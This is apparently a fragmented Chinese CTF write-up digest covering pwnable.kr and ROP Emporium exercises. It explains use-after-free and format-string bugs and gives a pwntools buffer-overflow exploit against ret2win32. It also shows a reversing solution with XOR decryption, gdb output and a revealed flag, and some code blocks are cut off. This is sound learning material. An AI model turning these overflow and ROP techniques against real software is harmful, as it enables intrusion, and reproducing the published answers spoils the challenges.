这题蛮有意思的,虽然叫 md5 calculator,但是跟md5算法没什么关系,主要考查的是伪随机。
1 | int my_hash() |
这题蛮有意思的,虽然叫 md5 calculator,但是跟md5算法没什么关系,主要考查的是伪随机。
1 | int my_hash() |
ssh lotto@pwnable.kr -p2222 (pw:guest)
这是一个游戏,猜对6个数就能拿到flag。
通过源码了解到这6个随机数是从/dev/urandom
中取出来的,而且范围在1~46之间,虽然 这是个伪随机,但是想要爆破难度还是挺大的。
题如其名,不过是c++的uaf漏洞,还好给了源码,不至于去IDA里面看那么丑的伪代码
程序中有后门give_shell
结构体中有函数指针,introduce
free
选项delete后没有清空指针存在UAF
after
选项中会new 一个新的空间,从文件中将内容读入
通过跟踪分析程序可知,存放着指针的堆块大小为0x20
蛮有意思的一题,格式化字符串,0x18个字节,2次机会,数据写在栈上;
很显然需要构造循环多次利用格式化字符串漏洞,第一次用来泄漏地址,第二次修改返回地址为main,回到printf处继续利用
1 | #include <stdio.h> |
有后门函数,且堆溢出
1 | # docker pull ubuntu:18.04 |
放到IDA很容易就找到溢出点1
2
3char s; // [esp+0h] [ebp-28h]
可以看出s距ebp的偏移量为0x28
所以我们写入0x28正好可以写到ebp之前,要覆盖ebp还需要再写入4个字节(32位)
有一点值得引起注意,我们回车换行符同样会输入进去,明确溢出点以及可溢出的字节后接下来我们就开始构造rop,但在之前我们还应该检查一下程序开户了哪些保护,这决定了我们该采取何种rop攻击方式
exp 如下 :1
2
3
4
5
6from pwn import *
sh = process('./ret2win32')
ret2win32 = 0x08048659
payload = 'A' * 0x28 + p32(0) + p32(ret2win32)
sh.sendline(payload)
sh.interactive()
64位的溢出点也一样
exp:
1 | from pwn import * |
方法1:逆向破解,因为题目给了.c文件,里面有key和cipher可以直接用1
2
3
4
5
6key = "Do_you_know_why_my_teammate_Orange_is_so_angry???"
cipher = [7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66]
flag = ""
for i in range(len(cipher)):
flag += chr(cipher[i]^ord(key[i]))
print flag
方法2:利用gdb动态调试,可以在已生成password且未输入magic的情况下获得password的值:1
2
3
4
5
6
7
8
9
10
11
12
13在0x80486e7处下断点,可以看到ebp - 0x80就是password存放的地方
► 0x80486e7 <get_flag+332> lea eax, [ebp - 0x80]
0x80486ea <get_flag+335> push eax
0x80486eb <get_flag+336> push dword ptr [ebp - 0x74]
0x80486ee <get_flag+339> call read@plt <0x8048410>
再运行到0x8048712处,可以查看 ebp - 0x80的值
pwndbg> x/wx ($ebp -0x80)
0xffffcd08: 0x4f77e43c
转成十进制,输入就能得到flag
pwndbg> c
Continuing.
1333257276
CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}[Inferior 1 (process 7593) exited normally]
方法3:
同样利用gdb调试,但是这次不用获取password的值而直接在if跳转前设置eip的值指向flag输出的for 循环即可